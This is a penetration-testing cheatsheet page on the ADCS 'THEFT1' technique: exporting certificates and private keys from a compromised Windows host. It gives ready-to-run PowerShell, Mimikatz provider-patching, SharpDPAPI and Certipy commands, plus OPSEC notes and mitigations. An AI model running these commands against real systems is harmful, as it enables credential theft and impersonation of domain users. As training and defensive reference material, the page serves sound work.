AD^:Active Directory

THEFT1 — Exporting Certificates and Keys

THEFT1 is the simplest credential-theft primitive in the ADCS taxonomy: harvest certificates that are already enrolled on a machine you control, rather…

advancedupdated 2026-08-10Mimikatz · Certipy · faketime · PowerShell

THEFT1 — Exporting Certificates and Keys

Quick Reference

FieldValue
CategoryCredential Theft (local)
DifficultyLow
Pre-requisitesCode execution as the cert’s owner (or SYSTEM); a certificate with a usable private key in a Windows store
ToolsCertipy, Mimikatz, SharpDPAPI, certutil
OPSEC NoiseLow–Med — local API calls; Mimikatz key-patching touches LSASS/CryptoAPI
One-linerPull a certificate and its private key out of a compromised host’s certificate store, exporting to a .pfx you can authenticate with anywhere.

What Is THEFT1?

THEFT1 is the simplest credential-theft primitive in the ADCS taxonomy: harvest certificates that are already enrolled on a machine you control, rather than requesting new ones. If a user or machine has an authentication certificate in their Windows store, that .pfx is a password-equivalent — export it and authenticate as them from your own box.

The only wrinkle is the exportable flag. When a key is marked non-exportable, the standard export APIs refuse. Mimikatz can patch the CryptoAPI (CAPI) and CNG providers in memory to lie about that flag, making non-exportable keys exportable.


Step 0 — Enumerate Local Certificates

# PowerShell — list certs in the current user's personal store with private keys
Get-ChildItem Cert:\CurrentUser\My | Where-Object { $_.HasPrivateKey } |
  Format-List Subject, Issuer, Thumbprint, NotAfter, @{n='EKU';e={$_.EnhancedKeyUsageList}}

# Machine store (needs admin)
Get-ChildItem Cert:\LocalMachine\My | Where-Object { $_.HasPrivateKey }

# certutil equivalent
certutil -store My
certutil -user -store My

Look for certs with Client Authentication (1.3.6.1.5.5.7.3.2), Smart Card Logon, PKINIT, or Any Purpose EKUs — those authenticate to AD.


Step 1 — Export (Exportable Keys)

# PowerShell — export to PFX with a password
$pw = ConvertTo-SecureString "Export123!" -AsPlainText -Force
Export-PfxCertificate -Cert Cert:\CurrentUser\My\<THUMBPRINT> -FilePath C:\Temp\stolen.pfx -Password $pw
# Mimikatz — export every cert + key from both stores (writes .pfx files to cwd)
mimikatz # crypto::certificates /export
mimikatz # crypto::certificates /systemstore:local_machine /export

Step 2 — Export (Non-Exportable Keys)

If the key is flagged non-exportable, patch the providers first, then export.

mimikatz # privilege::debug
mimikatz # crypto::capi                 # patch CAPI in this process
mimikatz # crypto::cng                  # patch KeyIso (CNG) — needs SYSTEM
mimikatz # crypto::certificates /export # now succeeds on non-exportable keys
# SharpDPAPI alternative — pulls certs and decrypts keys via DPAPI, ignores the flag
SharpDPAPI.exe certificates /mkfile:masterkeys.txt

Step 3 — Convert & Authenticate

# Bring the .pfx to your attack host. Strip/normalise the password if needed:
certipy-ad cert -export -pfx stolen.pfx -password 'Export123!' -out clean.pfx

# Authenticate the stolen identity (PKINIT -> TGT + NT hash)
certipy-ad auth -pfx clean.pfx -dc-ip $TARGET

[!tip] Clock skew If certipy auth returns KRB_AP_ERR_SKEW, wrap it with faketime. See faketime-cheatsheet.


OPSEC Considerations

ActionLog / ArtefactNoise
Get-ChildItem Cert: / certutil enumnone by default🟢 Low
Export-PfxCertificateCAPI2 operational log 70/90 (if enabled)🟢 Low
Mimikatz crypto::cngLSASS access, patches KeyIso🔴 High (EDR-sensitive)

Mitigation

  • Mark private keys non-exportable and back them with a TPM or HSM where possible.
  • Restrict local admin / block LSASS access (Credential Guard, ASR rules) to stop provider patching.
  • Prefer short-lived certificates so a stolen .pfx has a small window.
  • Monitor for Mimikatz crypto::* behaviour and unexpected .pfx creation.

See Also

  • _ADCS Attack Methodology Guide · THEFT2 — User Certificate Theft via DPAPI · THEFT5 — NTLM Theft via PKINIT (UnPAC-the-Hash)
  • Sources: SpecterOps Certified Pre-Owned; Certipy Wiki — Post-Exploitation
On this page

☧ CPTS · ordered posts

Locked

Unlock with your Main_Key through local GPG.

Start the local GPG helper

In your cheatsheet checkout, run:

npm run unlock:helper

Open the link it prints, or paste its pairing code below. Keep the terminal open until GPG finishes.

Import an index you already decrypted

Download the encrypted index, then decrypt with GPG:

gpg --output report-index.json --decrypt report-index.gpg

Your private key stays in GPG. The decrypted index is saved in this browser so you can reopen it after navigation, refreshes and restarts. Lock this browser or clear this site's browser data to remove the saved index. Nothing is uploaded.